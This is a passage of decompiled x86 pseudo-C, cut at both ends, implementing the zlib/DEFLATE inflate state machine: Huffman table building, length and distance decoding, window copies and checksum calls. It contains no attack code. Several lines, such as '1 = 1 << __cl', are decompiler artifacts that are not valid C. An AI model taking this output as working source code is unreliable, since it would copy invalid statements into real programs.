												__eax = E0040B350(__ebx, __edi, __esi,  *(__esp + 0x24), __ebp,  *(__esp + 0x14));
												__eax =  *(__esp + 0x20);
												 *(__esp + 0x1c) =  *(__esp + 0x1c) - __eax;
												 *(__esp + 0x24) =  *(__esp + 0x24) - __eax;
												 *(__esp + 0x30) =  *(__esp + 0x30) + __eax;
												__edx =  *(__esp + 0x1c);
												__ebp =  &(__ebp[__eax]);
												 *(__edi + 0x40) =  *(__edi + 0x40) - __eax;
												goto L304;
											}
										}
										goto L331;
									case 0xf:
										if(__esi >= 0xe) {
											L163:
											__ecx = __ebx;
											__ecx = __ebx & 0x0000001f;
											__ebx = __ebx >> 5;
											__ecx = __ecx + 0x101;
											__eax = __ebx;
											 *(__edi + 0x60) = __ecx;
											__ebx = __ebx >> 5;
											__ecx = __ebx;
											__eax = __eax & 0x0000001f;
											__ecx = __ebx & 0x0000000f;
											__eax = __eax + 1;
											__ecx = (__ebx & 0x0000000f) + 4;
											__ebx = __ebx >> 4;
											__esi = __esi - 0xe;
											 *(__edi + 0x64) = __eax;
											 *(__edi + 0x5c) = __ecx;
											if( *(__edi + 0x60) > 0x11e || __eax > 0x1e) {
												goto L34;
											} else {
												 *(__edi + 0x68) = 0;
												 *__edi = 0x10;
												goto L166;
											}
										} else {
											while(__edx != 0) {
												__eax =  *__ebp & 0x000000ff;
												__ecx = __esi;
												__eax = ( *__ebp & 0x000000ff) << __cl;
												__edx = __edx - 1;
												__esi = __esi + 8;
												__ebp =  &(__ebp[1]);
												__ebx = __ebx + __eax;
												 *(__esp + 0x10) = __edx;
												if(__esi < 0xe) {
													continue;
												} else {
													goto L163;
												}
												goto L331;
											}
											goto L312;
										}
										goto L331;
									case 0x10:
										L166:
										__ecx =  *(__edi + 0x68);
										if( *(__edi + 0x68) >=  *(__edi + 0x5c)) {
											L172:
											__eax = 0x13;
											while( *(__edi + 0x68) < 0x13) {
												__edx =  *(__edi + 0x68);
												__ecx =  *(0x41e468 +  *(__edi + 0x68) * 2) & 0x0000ffff;
												__edx = 0;
												 *((short*)(__edi + 0x70 + ( *(0x41e468 +  *(__edi + 0x68) * 2) & 0x0000ffff) * 2)) = __dx;
												 *(__edi + 0x68) =  *(__edi + 0x68) + 1;
											}
											__eax = __edi + 0x530;
											__ecx = __edi + 0x6c;
											 *(__edi + 0x6c) = __eax;
											 *(__edi + 0x4c) = __eax;
											__edx = __edi + 0x2f0;
											__eax = __edi + 0x54;
											 *(__edi + 0x54) = 7;
											__eax = __edi + 0x70;
											__eax = E00408C60(0, __edi + 0x70, 0x13, __edi + 0x6c, __edi + 0x70, __edi + 0x2f0);
											__edx =  *(__esp + 0x28);
											 *(__esp + 0x30) = __eax;
											if(__eax != 0) {
												goto L302;
											} else {
												 *(__edi + 0x68) = __eax;
												 *__edi = 0x11;
												goto L177;
											}
										} else {
											do {
												if(__esi >= 3) {
													goto L171;
												} else {
													while(__edx != 0) {
														__eax =  *__ebp & 0x000000ff;
														__ecx = __esi;
														__eax = ( *__ebp & 0x000000ff) << __cl;
														__edx = __edx - 1;
														__esi = __esi + 8;
														__ebp =  &(__ebp[1]);
														__ebx = __ebx + __eax;
														 *(__esp + 0x10) = __edx;
														if(__esi < 3) {
															continue;
														} else {
															goto L171;
														}
														goto L331;
													}
													goto L312;
												}
												goto L331;
												L171:
												__eax =  *(__edi + 0x68);
												__eax =  *(0x41e468 +  *(__edi + 0x68) * 2) & 0x0000ffff;
												__ebx = __ebx & 0x00000007;
												 *((short*)(__edi + 0x70 + __eax * 2)) = __cx;
												 *(__edi + 0x68) =  *(__edi + 0x68) + 1;
												__ecx =  *(__edi + 0x68);
												__ebx = __ebx >> 3;
												__esi = __esi - 3;
											} while ( *(__edi + 0x68) <  *(__edi + 0x5c));
											goto L172;
										}
										goto L331;
									case 0x11:
										L177:
										__eax =  *(__edi + 0x64);
										__eax =  *(__edi + 0x64) +  *(__edi + 0x60);
										if( *(__edi + 0x68) >= __eax) {
											L210:
											if( *__edi == 0x1b) {
												goto L304;
											} else {
												__eax = __edi + 0x530;
												__ecx = __edi + 0x6c;
												 *(__edi + 0x6c) = __eax;
												__edx = __edi + 0x2f0;
												 *(__edi + 0x4c) = __eax;
												__eax = __edi + 0x54;
												__ecx =  *(__edi + 0x60);
												__edx = __edi + 0x70;
												 *(__edi + 0x54) = 9;
												__eax = E00408C60(1, __edi + 0x70,  *(__edi + 0x60),  *(__edi + 0x60), __edi + 0x54, __edi + 0x2f0);
												 *(__esp + 0x30) = __eax;
												if(__eax == 0) {
													__edx =  *(__edi + 0x6c);
													__ecx = __edi + 0x6c;
													 *(__edi + 0x50) =  *(__edi + 0x6c);
													__edx = __edi + 0x2f0;
													__eax = __edi + 0x58;
													__ecx =  *(__edi + 0x60);
													 *(__edi + 0x58) = 6;
													__eax =  *(__edi + 0x64);
													__edx = __edi + 0x70 +  *(__edi + 0x60) * 2;
													__eax = E00408C60(2, __edi + 0x70 +  *(__edi + 0x60) * 2,  *(__edi + 0x64), __edi + 0x6c,  *(__edi + 0x64), __edi + 0x2f0);
													__edx =  *(__esp + 0x28);
													 *(__esp + 0x30) = __eax;
													if(__eax == 0) {
														 *__edi = 0x12;
														goto L216;
													} else {
														__eax =  *(__esp + 0x40);
														 *(__eax + 0x18) = 0x41d338;
														goto L303;
													}
												} else {
													__eax =  *(__esp + 0x40);
													__edx =  *(__esp + 0x10);
													 *(__eax + 0x18) = 0x41d338;
													goto L303;
												}
											}
										} else {
											do {
												__ecx =  *(__edi + 0x54);
												1 = 1 << __cl;
												__ecx =  *(__edi + 0x4c);
												(1 << __cl) - 1 = (0x00000001 << __cl) - 0x00000001 & __ebx;
												__eax =  *( *(__edi + 0x4c) + ((0x00000001 << __cl) - 0x00000001 & __ebx) * 4);
												1 = 1 >> 8;
												__ecx = __cl & 0x000000ff;
												 *(__esp + 0x14) = 1;
												if((__cl & 0x000000ff) <= __esi) {
													L181:
													__eax = __eax >> 0x10;
													if(__eax >> 0x10 >= 0x10) {
														__cx =  *((intOrPtr*)(__esp + 0x16));
														if(__cx != 0x10) {
															__ecx = __ah & 0x000000ff;
															 *(__esp + 0x2c) = __ecx;
															if(__cx != 0x11) {
																__eax = __ecx + 7;
																if(__esi >= __eax) {
																	L203:
																	__ebx = __ebx >> __cl;
																	__ebx = __ebx & 0x0000007f;
																	__eax = (__ebx & 0x0000007f) + 0xb;
																	 *(__esp + 0x14) = (__ebx & 0x0000007f) + 0xb;
																	__ebx = __ebx >> 7;
																	__eax = 0xfffffff9;
																	goto L204;
																} else {
																	while(__edx != 0) {
																		__eax =  *__ebp & 0x000000ff;
																		__ecx = __esi;
																		__eax = ( *__ebp & 0x000000ff) << __cl;
																		__ecx =  *(__esp + 0x2c);
																		__edx = __edx - 1;
																		__esi = __esi + 8;
																		__ebx = __ebx + (( *__ebp & 0x000000ff) << __cl);
																		__eax = __ecx + 7;
																		__ebp =  &(__ebp[1]);
																		 *(__esp + 0x10) = __edx;
																		if(__esi < __eax) {
																			continue;
																		} else {
																			goto L203;
																		}
																		goto L331;
																	}
																	goto L312;
																}
															} else {
																__eax = __ecx + 3;
																if(__esi >= __eax) {
																	L199:
																	__ebx = __ebx >> __cl;
																	__ebx = __ebx & 0x00000007;
																	__eax = (__ebx & 0x00000007) + 3;
																	 *(__esp + 0x14) = (__ebx & 0x00000007) + 3;
																	__ebx = __ebx >> 3;
																	__eax = 0xfffffffd;
																	L204:
																	__esi = __esi + __eax;
																	__eax =  *(__esp + 0x14);
																	 *(__esp + 0x20) = 0;
																	goto L205;
																} else {
																	while(__edx != 0) {
																		__eax =  *__ebp & 0x000000ff;
																		__ecx = __esi;
																		__eax = ( *__ebp & 0x000000ff) << __cl;
																		__ecx =  *(__esp + 0x2c);
																		__edx = __edx - 1;
																		__esi = __esi + 8;
																		__ebx = __ebx + (( *__ebp & 0x000000ff) << __cl);
																		__eax = __ecx + 3;
																		__ebp =  &(__ebp[1]);
																		 *(__esp + 0x10) = __edx;
																		if(__esi < __eax) {
																			continue;
																		} else {
																			goto L199;
																		}
																		goto L331;
																	}
																	goto L312;
																}
															}
														} else {
															__ecx = __ah & 0x000000ff;
															__eax = __ecx + 2;
															 *(__esp + 0x2c) = __ecx;
															if(__esi >= __eax) {
																L192:
																__eax =  *(__edi + 0x68);
																__ebx = __ebx >> __cl;
																__esi = __esi - __ecx;
																if(__eax == 0) {
																	goto L302;
																} else {
																	__ecx =  *(__edi + 0x6e + __eax * 2) & 0x0000ffff;
																	__ebx = __ebx & 0x00000003;
																	__eax = (__ebx & 0x00000003) + 3;
																	__ebx = __ebx >> 2;
																	 *(__esp + 0x20) = __ecx;
																	 *(__esp + 0x14) = __eax;
																	__esi = __esi - 2;
																	L205:
																	__ecx =  *(__edi + 0x68);
																	__ecx =  *(__edi + 0x68) + __eax;
																	 *(__edi + 0x64) =  *(__edi + 0x64) +  *(__edi + 0x60);
																	if(__ecx >  *(__edi + 0x64) +  *(__edi + 0x60)) {
																		L34:
																		__eax =  *(__esp + 0x40);
																		 *(__eax + 0x18) = 0x41d338;
																		goto L303;
																	} else {
																		if( *(__esp + 0x14) != 0) {
																			__eax =  *(__esp + 0x20);
																			do {
																				__ecx =  *(__edi + 0x68);
																				 *(__esp + 0x14) =  *(__esp + 0x14) - 1;
																				 *((short*)(__edi + 0x70 +  *(__edi + 0x68) * 2)) = __ax;
																				 *(__edi + 0x68) =  *(__edi + 0x68) + 1;
																			} while ( *(__esp + 0x14) != 0);
																		}
																		goto L209;
																	}
																}
															} else {
																while(__edx != 0) {
																	__eax =  *__ebp & 0x000000ff;
																	__ecx = __esi;
																	__eax = ( *__ebp & 0x000000ff) << __cl;
																	__ecx =  *(__esp + 0x2c);
																	__edx = __edx - 1;
																	__esi = __esi + 8;
																	__ebx = __ebx + (( *__ebp & 0x000000ff) << __cl);
																	__eax = __ecx + 2;
																	__ebp =  &(__ebp[1]);
																	 *(__esp + 0x10) = __edx;
																	if(__esi < __eax) {
																		continue;
																	} else {
																		goto L192;
																	}
																	goto L331;
																}
																goto L312;
															}
														}
													} else {
														__eax = __eax >> 8;
														__ecx = __cl & 0x000000ff;
														if(__esi >= (__cl & 0x000000ff)) {
															L186:
															__ecx = __ah & 0x000000ff;
															__eax =  *(__edi + 0x68);
															__ebx = __ebx >> __cl;
															__esi = __esi - (__ah & 0x000000ff);
															__cx =  *((intOrPtr*)(__esp + 0x16));
															 *((short*)(__edi + 0x70 +  *(__edi + 0x68) * 2)) = __cx;
															 *(__edi + 0x68) =  *(__edi + 0x68) + 1;
															goto L209;
														} else {
															while(__edx != 0) {
																__eax =  *__ebp & 0x000000ff;
																__ecx = __esi;
																__eax = ( *__ebp & 0x000000ff) << __cl;
																__edx = __edx - 1;
																__esi = __esi + 8;
																__ebp =  &(__ebp[1]);
																__ebx = __ebx + __eax;
																__eax =  *(__esp + 0x14);
																__ecx = __ah & 0x000000ff;
																 *(__esp + 0x10) = __edx;
																if(__esi < (__ah & 0x000000ff)) {
																	continue;
																} else {
																	goto L186;
																}
																goto L331;
															}
															goto L312;
														}
													}
												} else {
													while(__edx != 0) {
														__eax =  *__ebp & 0x000000ff;
														__ecx = __esi;
														__eax = ( *__ebp & 0x000000ff) << __cl;
														__ecx =  *(__edi + 0x54);
														__edx = __edx - 1;
														__esi = __esi + 8;
														__ebx = __ebx + (( *__ebp & 0x000000ff) << __cl);
														1 = 1 << __cl;
														__ecx =  *(__edi + 0x4c);
														__ebp =  &(__ebp[1]);
														 *(__esp + 0x10) = __edx;
														(1 << __cl) - 1 = (0x00000001 << __cl) - 0x00000001 & __ebx;
														__eax =  *( *(__edi + 0x4c) + ((0x00000001 << __cl) - 0x00000001 & __ebx) * 4);
														1 = 1 >> 8;
														__ecx = __cl & 0x000000ff;
														 *(__esp + 0x14) = 1;
														if((__cl & 0x000000ff) > __esi) {
															continue;
														} else {
															goto L181;
														}
														goto L331;
													}
													goto L312;
												}
												goto L331;
												L209:
												__eax =  *(__edi + 0x64);
												__eax =  *(__edi + 0x64) +  *(__edi + 0x60);
											} while ( *(__edi + 0x68) < __eax);
											goto L210;
										}
										goto L331;
									case 0x12:
										L216:
										if(__edx < 6 ||  *(__esp + 0x18) < 0x102) {
											__ecx =  *(__edi + 0x54);
											1 = 1 << __cl;
											(1 << __cl) - 1 = (0x00000001 << __cl) - 0x00000001 & __ebx;
											__ecx = (0x00000001 << __cl) - 0x00000001 & __ebx;
											__eax =  *(__edi + 0x4c);
											__eax =  *( *(__edi + 0x4c) + ((0x00000001 << __cl) - 0x00000001 & __ebx) * 4);
											__eax = __eax >> 8;
											__ecx = __cl & 0x000000ff;
											 *(__esp + 0x14) = __eax;
											if((__cl & 0x000000ff) <= __esi) {
												L223:
												if(__al == 0 || (__al & 0x000000f0) != 0) {
													L230:
													__eax = __eax >> 8;
													__ecx = __cl & 0x000000ff;
													__ebx = __ebx >> __cl;
													__esi = __esi - __ecx;
													 *(__esp + 0x20) = __ecx;
													__eax = __eax >> 0x10;
													 *(__edi + 0x40) = __eax >> 0x10;
													if(__al != 0) {
														if((__al & 0x00000020) == 0) {
															if((__al & 0x00000040) == 0) {
																__al & 0x000000ff = __al & 0xf;
																 *(__edi + 0x48) = __al & 0xf;
																 *__edi = 0x13;
																goto L237;
															} else {
																__eax =  *(__esp + 0x40);
																 *(__eax + 0x18) = 0x41d338;
																goto L303;
															}
														} else {
															L233:
															 *__edi = 0xb;
															goto L304;
														}
													} else {
														 *__edi = 0x17;
														goto L304;
													}
												} else {
													__eax = __eax >> 8;
													 *(__esp + 0x34) = __eax >> 8;
													__ecx = __cl & 0x000000ff;
													 *(__esp + 0x20) = __cl & 0x000000ff;
													__al & 0x000000ff = (__al & 0x000000ff) +  *(__esp + 0x20);
													 *(__esp + 0x2c) = __eax;
													1 = 1 << __cl;
													__ecx =  *(__esp + 0x20);
													(1 << __cl) - 1 = (0x00000001 << __cl) - 0x00000001 & __ebx;
													__eax = ((0x00000001 << __cl) - 0x00000001 & __ebx) >> __cl;
													 *(__esp + 0x14) =  *(__esp + 0x14) >> 0x10;
													__eax = (((0x00000001 << __cl) - 0x00000001 & __ebx) >> __cl) + ( *(__esp + 0x14) >> 0x10);
													__ecx = (((0x00000001 << __cl) - 0x00000001 & __ebx) >> __cl) + ( *(__esp + 0x14) >> 0x10);
													__eax =  *(__edi + 0x4c);
													__eax =  *( *(__edi + 0x4c) + ((((0x00000001 << __cl) - 0x00000001 & __ebx) >> __cl) + ( *(__esp + 0x14) >> 0x10)) * 4);
													__ecx =  *(__esp + 0x34) & 0x000000ff;
													 *(__esp + 0x14) = __eax;
													__eax = __al & 0x000000ff;
													__eax = (__al & 0x000000ff) + ( *(__esp + 0x34) & 0x000000ff);
													if(__eax <= __esi) {
														L229:
														__ecx =  *(__esp + 0x2d) & 0x000000ff;
														__eax =  *(__esp + 0x14);
														__ebx = __ebx >> __cl;
														__esi = __esi - ( *(__esp + 0x2d) & 0x000000ff);
														goto L230;
													} else {
														while(__edx != 0) {
															__eax =  *__ebp & 0x000000ff;
															__ecx = __esi;
															__eax = ( *__ebp & 0x000000ff) << __cl;
															__ecx =  *(__esp + 0x2c);
															__edx = __edx - 1;
															__esi = __esi + 8;
															__ebx = __ebx + (( *__ebp & 0x000000ff) << __cl);
															__eax = __ch & 0x000000ff;
															 *(__esp + 0x20) = __eax;
															__cl & 0x000000ff = (__cl & 0x000000ff) + __eax;
															1 = 1 << __cl;
															__ecx =  *(__esp + 0x20);
															__ebp =  &(__ebp[1]);
															 *(__esp + 0x10) = __edx;
															(1 << __cl) - 1 = (0x00000001 << __cl) - 0x00000001 & __ebx;
															__eax = ((0x00000001 << __cl) - 0x00000001 & __ebx) >> __cl;
															__ecx =  *(__esp + 0x2e) & 0x0000ffff;
															__eax = (((0x00000001 << __cl) - 0x00000001 & __ebx) >> __cl) + ( *(__esp + 0x2e) & 0x0000ffff);
															__ecx =  *(__edi + 0x4c);
															__eax =  *( *(__edi + 0x4c) + ((((0x00000001 << __cl) - 0x00000001 & __ebx) >> __cl) + ( *(__esp + 0x2e) & 0x0000ffff)) * 4);
															 *(__esp + 0x14) = 1;
															 *( *(__edi + 0x4c) + ((((0x00000001 << __cl) - 0x00000001 & __ebx) >> __cl) + ( *(__esp + 0x2e) & 0x0000ffff)) * 4) >> 8 = __al & 0x000000ff;
															__eax = (__al & 0x000000ff) +  *(__esp + 0x20);
															if(__eax > __esi) {
																continue;
															} else {
																goto L229;
															}
															goto L331;
														}
														goto L312;
													}
												}
											} else {
												while(__edx != 0) {
													__eax =  *__ebp & 0x000000ff;
													__ecx = __esi;
													__eax = ( *__ebp & 0x000000ff) << __cl;
													__ecx =  *(__edi + 0x54);
													__edx = __edx - 1;
													__esi = __esi + 8;
													__ebx = __ebx + (( *__ebp & 0x000000ff) << __cl);
													1 = 1 << __cl;
													__ecx =  *(__edi + 0x4c);
													__ebp =  &(__ebp[1]);
													 *(__esp + 0x10) = __edx;
													(1 << __cl) - 1 = (0x00000001 << __cl) - 0x00000001 & __ebx;
													__eax =  *( *(__edi + 0x4c) + ((0x00000001 << __cl) - 0x00000001 & __ebx) * 4);
													1 = 1 >> 8;
													__ecx = __cl & 0x000000ff;
													 *(__esp + 0x14) = 1;
													if((__cl & 0x000000ff) > __esi) {
														continue;
													} else {
														goto L223;
													}
													goto L331;
												}
												goto L312;
											}
										} else {
											__eax =  *(__esp + 0x40);
											__edx =  *(__esp + 0x18);
											__ecx =  *(__esp + 0x24);
											 *(__eax + 0x10) =  *(__esp + 0x18);
											__edx =  *(__esp + 0x28);
											 *(__eax + 0xc) =  *(__esp + 0x24);
											__ecx =  *(__esp + 0x10);
											_push( *(__esp + 0x28));
											 *__eax = __ebp;
											 *(__eax + 4) = __ecx;
											_push(__eax);
											 *(__edi + 0x38) = __ebx;
											 *(__edi + 0x3c) = __esi;
											__eax = E00406CA0();
											__eax =  *(__esp + 0x48);
											__edx =  *(__eax + 0x10);
											__ecx =  *(__eax + 0xc);
											__ebp =  *__eax;
											__eax =  *(__eax + 4);
											__ebx =  *(__edi + 0x38);
											__esi =  *(__edi + 0x3c);
											 *(__esp + 0x20) = __edx;
											__esp = __esp + 8;
											 *(__esp + 0x24) = __ecx;
											 *(__esp + 0x10) = __eax;
											__edx = __eax;
											goto L304;
										}
										goto L331;
									case 0x13:
										L237:
										__eax =  *(__edi + 0x48);
										if(__eax == 0) {
											L243:
											 *__edi = 0x14;
											goto L244;
										} else {
											if(__esi >= __eax) {
												L242:
												__ecx =  *(__edi + 0x48);
												1 = 1 << __cl;
												(1 << __cl) - 1 = (0x00000001 << __cl) - 0x00000001 & __ebx;
												 *(__edi + 0x40) =  *(__edi + 0x40) + ((0x00000001 << __cl) - 0x00000001 & __ebx);
												__ebx = __ebx >> __cl;
												__esi = __esi -  *(__edi + 0x48);
												goto L243;
											} else {
												while(__edx != 0) {
													__eax =  *__ebp & 0x000000ff;
													__ecx = __esi;
													__eax = ( *__ebp & 0x000000ff) << __cl;
													__edx = __edx - 1;
													__esi = __esi + 8;
													__ebp =  &(__ebp[1]);
													__ebx = __ebx + __eax;
													 *(__esp + 0x10) = __edx;
													if(__esi <  *(__edi + 0x48)) {
														continue;
													} else {
														goto L242;
													}
													goto L331;
												}
												goto L312;
											}
										}
										goto L331;
									case 0x14:
										L244:
										__ecx =  *(__edi + 0x58);
										1 = 1 << __cl;
										(1 << __cl) - 1 = (0x00000001 << __cl) - 0x00000001 & __ebx;
										__ecx = (0x00000001 << __cl) - 0x00000001 & __ebx;
										__eax =  *(__edi + 0x50);
										__eax =  *( *(__edi + 0x50) + ((0x00000001 << __cl) - 0x00000001 & __ebx) * 4);
										__eax = __eax >> 8;
										__ecx = __cl & 0x000000ff;
										 *(__esp + 0x14) = __eax;
										if((__cl & 0x000000ff) <= __esi) {
											L248:
											if((__al & 0x000000f0) != 0) {
												L253:
												__eax = __eax >> 8;
												__ecx = __cl & 0x000000ff;
												__ebx = __ebx >> __cl;
												__esi = __esi - __ecx;
												 *(__esp + 0x20) = __ecx;
												if((__al & 0x00000040) == 0) {
													__ecx = __eax;
													__eax = __al & 0x000000ff;
													__ecx = __ecx >> 0x10;
													__eax = __al & 0xf;
													 *(__edi + 0x44) = __ecx;
													 *(__edi + 0x48) = __al & 0xf;
													 *__edi = 0x15;
													goto L256;
												} else {
													__eax =  *(__esp + 0x40);
													 *(__eax + 0x18) = 0x41d338;
													goto L303;
												}
											} else {
												__eax = __eax >> 8;
												 *(__esp + 0x34) = __eax >> 8;
												__ecx = __cl & 0x000000ff;
												 *(__esp + 0x20) = __cl & 0x000000ff;
												__al & 0x000000ff = (__al & 0x000000ff) +  *(__esp + 0x20);
												 *(__esp + 0x2c) = __eax;
												1 = 1 << __cl;
												__ecx =  *(__esp + 0x20);
												(1 << __cl) - 1 = (0x00000001 << __cl) - 0x00000001 & __ebx;
												__eax = ((0x00000001 << __cl) - 0x00000001 & __ebx) >> __cl;
												 *(__esp + 0x14) =  *(__esp + 0x14) >> 0x10;
												__eax = (((0x00000001 << __cl) - 0x00000001 & __ebx) >> __cl) + ( *(__esp + 0x14) >> 0x10);
												__ecx = (((0x00000001 << __cl) - 0x00000001 & __ebx) >> __cl) + ( *(__esp + 0x14) >> 0x10);
												__eax =  *(__edi + 0x50);
												__eax =  *( *(__edi + 0x50) + ((((0x00000001 << __cl) - 0x00000001 & __ebx) >> __cl) + ( *(__esp + 0x14) >> 0x10)) * 4);
												__ecx =  *(__esp + 0x34) & 0x000000ff;
												 *(__esp + 0x14) = __eax;
												__eax = __al & 0x000000ff;
												__eax = (__al & 0x000000ff) + ( *(__esp + 0x34) & 0x000000ff);
												if(__eax <= __esi) {
													L252:
													__ecx =  *(__esp + 0x2d) & 0x000000ff;
													__eax =  *(__esp + 0x14);
													__ebx = __ebx >> __cl;
													__esi = __esi - ( *(__esp + 0x2d) & 0x000000ff);
													goto L253;
												} else {
													while(__edx != 0) {
														__eax =  *__ebp & 0x000000ff;
														__ecx = __esi;
														__eax = ( *__ebp & 0x000000ff) << __cl;
														__ecx =  *(__esp + 0x2c);
														__edx = __edx - 1;
														__esi = __esi + 8;
														__ebx = __ebx + (( *__ebp & 0x000000ff) << __cl);
														__eax = __ch & 0x000000ff;
														 *(__esp + 0x20) = __eax;
														__cl & 0x000000ff = (__cl & 0x000000ff) + __eax;
														1 = 1 << __cl;
														__ecx =  *(__esp + 0x20);
														__ebp =  &(__ebp[1]);
														 *(__esp + 0x10) = __edx;
														(1 << __cl) - 1 = (0x00000001 << __cl) - 0x00000001 & __ebx;
														__eax = ((0x00000001 << __cl) - 0x00000001 & __ebx) >> __cl;
														__ecx =  *(__esp + 0x2e) & 0x0000ffff;
														__eax = (((0x00000001 << __cl) - 0x00000001 & __ebx) >> __cl) + ( *(__esp + 0x2e) & 0x0000ffff);
														__ecx =  *(__edi + 0x50);
														__eax =  *( *(__edi + 0x50) + ((((0x00000001 << __cl) - 0x00000001 & __ebx) >> __cl) + ( *(__esp + 0x2e) & 0x0000ffff)) * 4);
														 *(__esp + 0x14) = 1;
														 *( *(__edi + 0x50) + ((((0x00000001 << __cl) - 0x00000001 & __ebx) >> __cl) + ( *(__esp + 0x2e) & 0x0000ffff)) * 4) >> 8 = __al & 0x000000ff;
														__eax = (__al & 0x000000ff) +  *(__esp + 0x20);
														if(__eax > __esi) {
															continue;
														} else {
															goto L252;
														}
														goto L331;
													}
													goto L312;
												}
											}
										} else {
											while(__edx != 0) {
												__eax =  *__ebp & 0x000000ff;
												__ecx = __esi;
												__eax = ( *__ebp & 0x000000ff) << __cl;
												__ecx =  *(__edi + 0x58);
												__edx = __edx - 1;
												__esi = __esi + 8;
												__ebx = __ebx + (( *__ebp & 0x000000ff) << __cl);
												1 = 1 << __cl;
												__ecx =  *(__edi + 0x50);
												__ebp =  &(__ebp[1]);
												 *(__esp + 0x10) = __edx;
												(1 << __cl) - 1 = (0x00000001 << __cl) - 0x00000001 & __ebx;
												__eax =  *( *(__edi + 0x50) + ((0x00000001 << __cl) - 0x00000001 & __ebx) * 4);
												1 = 1 >> 8;
												__ecx = __cl & 0x000000ff;
												 *(__esp + 0x14) = 1;
												if((__cl & 0x000000ff) > __esi) {
													continue;
												} else {
													goto L248;
												}
												goto L331;
											}
											goto L312;
										}
										goto L331;
									case 0x15:
										L256:
										__eax =  *(__edi + 0x48);
										if(__eax == 0) {
											L261:
											 *((intOrPtr*)(__edi + 0x2c)) =  *((intOrPtr*)(__edi + 0x2c)) -  *(__esp + 0x18);
											__ecx =  *((intOrPtr*)(__edi + 0x2c)) -  *(__esp + 0x18) +  *(__esp + 0x28);
											if( *(__edi + 0x44) <=  *((intOrPtr*)(__edi + 0x2c)) -  *(__esp + 0x18) +  *(__esp + 0x28)) {
												 *__edi = 0x16;
												goto L264;
											} else {
												__eax =  *(__esp + 0x40);
												 *(__eax + 0x18) = 0x41d338;
												goto L303;
											}
										} else {
											if(__esi >= __eax) {
												L260:
												__ecx =  *(__edi + 0x48);
												1 = 1 << __cl;
												__eax = (1 << __cl) - 1;
												__eax = (0x00000001 << __cl) - 0x00000001 & __ebx;
												 *(__edi + 0x44) =  *(__edi + 0x44) + __eax;
												__ebx = __ebx >> __cl;
												__esi = __esi -  *(__edi + 0x48);
												goto L261;
											} else {
												while(__edx != 0) {
													__eax =  *__ebp & 0x000000ff;
													__ecx = __esi;
													__eax = ( *__ebp & 0x000000ff) << __cl;
													__edx = __edx - 1;
													__esi = __esi + 8;
													__ebp =  &(__ebp[1]);
													__ebx = __ebx + __eax;
													 *(__esp + 0x10) = __edx;
													if(__esi <  *(__edi + 0x48)) {
														continue;
													} else {
														goto L260;
													}
													goto L331;
												}
												goto L312;
											}
										}
										goto L331;
									case 0x16:
										L264:
										if( *(__esp + 0x18) == 0) {
											goto L312;
										} else {
											__ecx =  *(__esp + 0x28);
											__ecx =  *(__esp + 0x28) -  *(__esp + 0x18);
											__eax =  *(__edi + 0x44);
											if(__eax <= __ecx) {
												__ecx =  *(__esp + 0x24);
												__ecx =  *(__esp + 0x24) - __eax;
												__eax =  *(__edi + 0x40);
												 *(__esp + 0x2c) = __ecx;
												 *(__esp + 0x34) = __eax;
												goto L272;
											} else {
												__eax = __eax - __ecx;
												__ecx =  *(__edi + 0x30);
												 *(__esp + 0x14) = __eax;
												if(__eax <= __ecx) {
													 *((intOrPtr*)(__edi + 0x34)) =  *((intOrPtr*)(__edi + 0x34)) - __eax;
													__ecx =  *((intOrPtr*)(__edi + 0x34)) - __eax +  *(__edi + 0x30);
													__eax =  *(__esp + 0x14);
												} else {
													__eax = __eax - __ecx;
													 *((intOrPtr*)(__edi + 0x34)) =  *((intOrPtr*)(__edi + 0x34)) +  *((intOrPtr*)(__edi + 0x28));
													 *(__esp + 0x14) = __eax;
													__ecx =  *((intOrPtr*)(__edi + 0x34)) +  *((intOrPtr*)(__edi + 0x28)) - __eax;
												}
												 *(__esp + 0x2c) = __ecx;
												__ecx =  *(__edi + 0x40);
												 *(__esp + 0x34) = __ecx;
												if(__eax > __ecx) {
													__eax = __ecx;
													L272:
													 *(__esp + 0x14) = __eax;
												}
											}
											__ecx =  *(__esp + 0x18);
											if(__eax > __ecx) {
												__eax = __ecx;
												 *(__esp + 0x14) = __eax;
											}
											 *(__esp + 0x18) = __ecx;
											__ecx =  *(__esp + 0x34);
											__ecx =  *(__esp + 0x34) - __eax;
											__eax =  *(__esp + 0x24);
											 *(__edi + 0x40) = __ecx;
											do {
												__ecx =  *(__esp + 0x2c);
												__cl =  *( *(__esp + 0x2c));
												 *(__esp + 0x2c) =  *(__esp + 0x2c) + 1;
												 *__eax = __cl;
												__eax = __eax + 1;
												_t549 = __esp + 0x14;
												 *_t549 =  *(__esp + 0x14) - 1;
											} while ( *_t549 != 0);
											 *(__esp + 0x24) = __eax;
											if( *(__edi + 0x40) == 0) {
												 *__edi = 0x12;
											}
											goto L304;
										}
										goto L331;
									case 0x17:
										if( *(__esp + 0x18) == 0) {
											goto L312;
										} else {
											__eax =  *(__esp + 0x24);
											__cl =  *(__edi + 0x40);
											 *__eax = __cl;
											__eax = __eax + 1;
											 *(__esp + 0x18) =  *(__esp + 0x18) - 1;
											 *(__esp + 0x24) = __eax;
											 *__edi = 0x12;
											goto L304;
										}
										goto L331;
									case 0x18:
										if( *((intOrPtr*)(__edi + 8)) == 0) {
											L295:
											 *__edi = 0x19;
											goto L296;
										} else {
											if(__esi >= 0x20) {
												L285:
												__eax =  *(__esp + 0x28);
												__eax =  *(__esp + 0x28) -  *(__esp + 0x18);
												__ecx =  *(__esp + 0x40);
												 *((intOrPtr*)( *(__esp + 0x40) + 0x14)) =  *((intOrPtr*)( *(__esp + 0x40) + 0x14)) + __eax;
												 *((intOrPtr*)(__edi + 0x1c)) =  *((intOrPtr*)(__edi + 0x1c)) + __eax;
												 *(__esp + 0x28) = __eax;
												if(__eax != 0) {
													__ecx =  *(__esp + 0x24);
													__edx =  *(__edi + 0x18);
													_push(__eax);
													_push(__ecx);
													_push( *(__edi + 0x18));
													if( *(__edi + 0x10) == 0) {
														__eax = E004024A0();
													} else {
														__eax = E00403080();
													}
													__ecx =  *(__esp + 0x4c);
													__edx =  *(__esp + 0x1c);
													 *(__edi + 0x18) = __eax;
													__esp = __esp + 0xc;
													 *(__ecx + 0x30) = __eax;
												}
												__eax =  *(__esp + 0x18);
												 *(__esp + 0x28) =  *(__esp + 0x18);
												__eax = __ebx;
												if( *(__edi + 0x10) == 0) {
													__eax = __eax & 0x0000ff00;
													__ebx = __ebx << 0x10;
													__eax = __eax + (__ebx << 0x10);
													__ebx = __ebx >> 8;
													__ecx = __ebx >> 0x00000008 & 0x0000ff00;
													__eax = __eax << 8;
